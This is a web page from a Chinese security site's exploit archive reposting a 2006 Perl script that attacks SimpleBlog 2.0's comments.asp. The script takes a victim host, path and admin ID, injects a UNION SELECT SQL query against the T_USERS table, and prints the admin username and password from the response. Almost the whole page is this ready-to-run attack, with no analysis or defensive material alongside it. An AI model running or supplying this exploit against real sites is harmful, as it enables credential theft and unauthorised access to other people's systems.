首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SimpleBlog <= 2.0 (comments.asp) Remote SQL Injection Exploit
来源:admin@asianeagle.org 作者:ASIANEAGLE 发布时间:2006-08-21  

#!/usr/bin/perl
#Method found by Chironex Fleckeri
#Exploit By ASIANEAGLE
#Contact:admin@asianeagle.org
#Original advisory: http://www.milw0rm.com/exploits/2228
#Usage: exploitname.pl <host> <path> <id>
use IO::Socket;
if(@ARGV != 3) { usage(); }
else { exploit(); }
sub header()
{
print " *****SimpleBlog 2.0 SQL Injection Exploit***** \r\n";
print " *****www.asianeagle.org***** \r\n";
}
sub usage()
{
header();
print " *Usage: $0 <host> <path> <id>\r\n";
print " *<host> = Victim's host ex: www.site.com\r\n";
print " *<path> = SimpleBlog Path ex: /SimpleBlog/\r\n";
print " *<id> = Admin ID ex: 1\r\n";
exit();
}
sub exploit ()
{
$simserver = $ARGV[0];
$simserver =~ s/(http:\/\/)//eg;
$simhost = "http://".$simserver;
$simdir = $ARGV[1];
$simport = "80";
$simtar = "comments.asp?id=";
$simsql = "-1%20UNION%20SELECT%20ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null%20FROM%20T_USERS%20WHERE%20id%20like%20".$ARGV[2];
$simreq = $simhost.$simdir.$simtar.$simsql;

header();
print "- Trying to connect: $simserver\r\n";
$sim = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$simserver", PeerPort => "$simport") || die "- Connection failed...\n";
print $sim "GET $simreq HTTP/1.1\n";
print $sim "Accept: */*\n";
print $sim "Referer: $simhost\n";
print $sim "Accept-Language: tr\n";
print $sim "User-Agent: Mozzilla\n";
print $sim "Cache-Control: no-cache\n";
print $sim "Host: $simserver\n";
print $sim "Connection: close\n\n";
print "Connected...\r\n";
while ($answer = <$sim>) {
if ($answer =~ /class=\"c_content\">(.*?)<\/td><\/tr>/) {
if ($1 == $ARGV[2]) {
print "Seems Vulnerable :)\r\n";
}
else { die "- Exploit failed\n"; }
}
if ($answer =~ /class=\"c_content\"><b>(.*)<\/b>/) {
print "- Username: $1\r\n";
}
if ($answer =~ /href=\"mailto:(.*?)\">(.*?)<\/a>/) {
print "- Password: $1\r\n";
}
}



}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Simple Machines Forum <= 1.
·WFTPD 3.23 (SIZE) Remote Buffe
·Macromedia Flash 9 (IE Plugin)
·Easy File Sharing FTP Server 2
·MS Windows PNG File IHDR Block
·Apache < 1.3.37, 2.0.59, 2.
·MS Windows CanonicalizePathNam
·MS Internet Explorer Multiple
·CubeCart <= 3.0.11 (oid) Re
·Solaris 10 sysinfo(2) Local Ke
·MS Windows PNG File IHDR Block
·Solaris 8 / 9 (/usr/ucb/ps) Lo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved